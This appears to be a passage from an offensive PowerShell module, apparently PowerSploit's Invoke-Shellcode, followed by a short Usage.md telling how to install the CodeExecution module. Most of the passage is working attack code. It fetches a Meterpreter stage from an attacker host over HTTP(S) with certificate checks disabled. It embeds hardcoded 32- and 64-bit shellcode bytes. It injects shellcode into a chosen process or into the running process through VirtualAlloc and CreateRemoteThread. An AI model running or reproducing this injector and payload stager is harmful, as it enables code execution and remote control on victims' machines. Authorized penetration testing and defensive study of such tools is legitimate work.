$RootInvocation = $MyInvocation.GetType().GetField('_scriptPosition', 'NonPublic, Instance').GetValue($MyInvocation).Text
$Response = $True
if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you want to launch the payload from x86 Powershell?",
"Attempt to execute 32-bit shellcode from 64-bit Powershell. Note: This process takes about one minute. Be patient! You will also see some artifacts of the script loading in the other process." ) ) ) { }
if ( !$Response )
{
# User opted not to launch the 32-bit payload from 32-bit PowerShell. Exit function
Return
}
# Since the shellcode will run in a noninteractive instance of PowerShell, make sure the -Force switch is included so that there is no warning prompt.
if ($MyInvocation.BoundParameters['Force'])
{
Write-Verbose "Executing the following from 32-bit PowerShell: $RootInvocation"
$Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation)`n`n"
}
else
{
Write-Verbose "Executing the following from 32-bit PowerShell: $RootInvocation -Force"
$Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation) -Force`n`n"
}
$CommandBytes = [System.Text.Encoding]::Ascii.GetBytes($Command)
$EncodedCommand = [Convert]::ToBase64String($CommandBytes)
$Execute = '$Command' + " | $Env:windir\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -Command -"
Invoke-Expression -Command $Execute | Out-Null
# Exit the script since the shellcode will be running from x86 PowerShell
Return
}
$Response = $True
if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you know what you're doing?",
"About to download Metasploit payload '$($Payload)' LHOST=$($Lhost), LPORT=$($Lport)" ) ) ) { }
if ( !$Response )
{
# User opted not to carry out download of Metasploit payload. Exit function
Return
}
switch ($Payload)
{
'windows/meterpreter/reverse_http'
{
$SSL = ''
}
'windows/meterpreter/reverse_https'
{
$SSL = 's'
# Accept invalid certificates
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
}
}
# Meterpreter expects 'INITM' in the URI in order to initiate stage 0. Awesome authentication, huh?
$Request = "http$($SSL)://$($Lhost):$($Lport)/INITM"
Write-Verbose "Requesting meterpreter payload from $Request"
$Uri = New-Object Uri($Request)
$WebClient = New-Object System.Net.WebClient
$WebClient.Headers.Add('user-agent', "$UserAgent")
try
{
[Byte[]] $Shellcode32 = $WebClient.DownloadData($Uri)
}
catch
{
Throw "$($Error[0].Exception.InnerException.InnerException.Message)"
}
[Byte[]] $Shellcode64 = $Shellcode32
}
elseif ($PSBoundParameters['Shellcode'])
{
# Users passing in shellcode through the '-Shellcode' parameter are responsible for ensuring it targets
# the correct architechture - x86 vs. x64. This script has no way to validate what you provide it.
[Byte[]] $Shellcode32 = $Shellcode
[Byte[]] $Shellcode64 = $Shellcode32
}
else
{
# Pop a calc... or whatever shellcode you decide to place in here
# I sincerely hope you trust that this shellcode actually pops a calc...
# Insert your shellcode here in the for 0xXX,0xXX,...
# 32-bit payload
# msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread
[Byte[]] $Shellcode32 = @(0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,
0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,
0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,
0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,
0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,
0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,
0x6a,0x01,0x8d,0x85,0xb9,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5,
0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,
0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,
0x61,0x6c,0x63,0x00)
# 64-bit payload
# msfpayload windows/x64/exec CMD="calc" EXITFUNC=thread
[Byte[]] $Shellcode64 = @(0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,
0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,
0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,
0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,
0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,
0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,
0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,
0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,
0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,
0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,
0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,
0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,
0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00)
}
if ( $PSBoundParameters['ProcessID'] )
{
# Inject shellcode into the specified process ID
$OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
$OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
$OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
$VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx
$VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32], [UInt32]) ([IntPtr])
$VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)
$WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
$WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool])
$WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
$CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread
$CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
$CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)
$CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle
$CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool])
$CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate)
Write-Verbose "Injecting shellcode into PID: $ProcessId"
if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',
"Injecting shellcode injecting into $((Get-Process -Id $ProcessId).ProcessName) ($ProcessId)!" ) )
{
Inject-RemoteShellcode $ProcessId
}
}
else
{
# Inject shellcode into the currently running PowerShell process
$VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc
$VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])
$VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)
$VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree
$VirtualFreeDelegate = Get-DelegateType @([IntPtr], [Uint32], [UInt32]) ([Bool])
$VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate)
$CreateThreadAddr = Get-ProcAddress kernel32.dll CreateThread
$CreateThreadDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
$CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate)
$WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject
$WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [Int32]) ([Int])
$WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)
Write-Verbose "Injecting shellcode into PowerShell"
if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',
"Injecting shellcode into the running PowerShell process!" ) )
{
Inject-LocalShellcode
}
}
}

12
CodeExecution/Usage.md Normal file
View File

@ -0,0 +1,12 @@
To install this module, drop the entire CodeExecution folder into one of your module directories. The default PowerShell module paths are listed in the $Env:PSModulePath environment variable.
The default per-user module path is: "$Env:HomeDrive$Env:HOMEPATH\Documents\WindowsPowerShell\Modules"
The default computer-level module path is: "$Env:windir\System32\WindowsPowerShell\v1.0\Modules"
To use the module, type `Import-Module CodeExecution`
To see the commands imported, type `Get-Command -Module CodeExecution`
For help on each individual command, Get-Help is your friend.
Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability.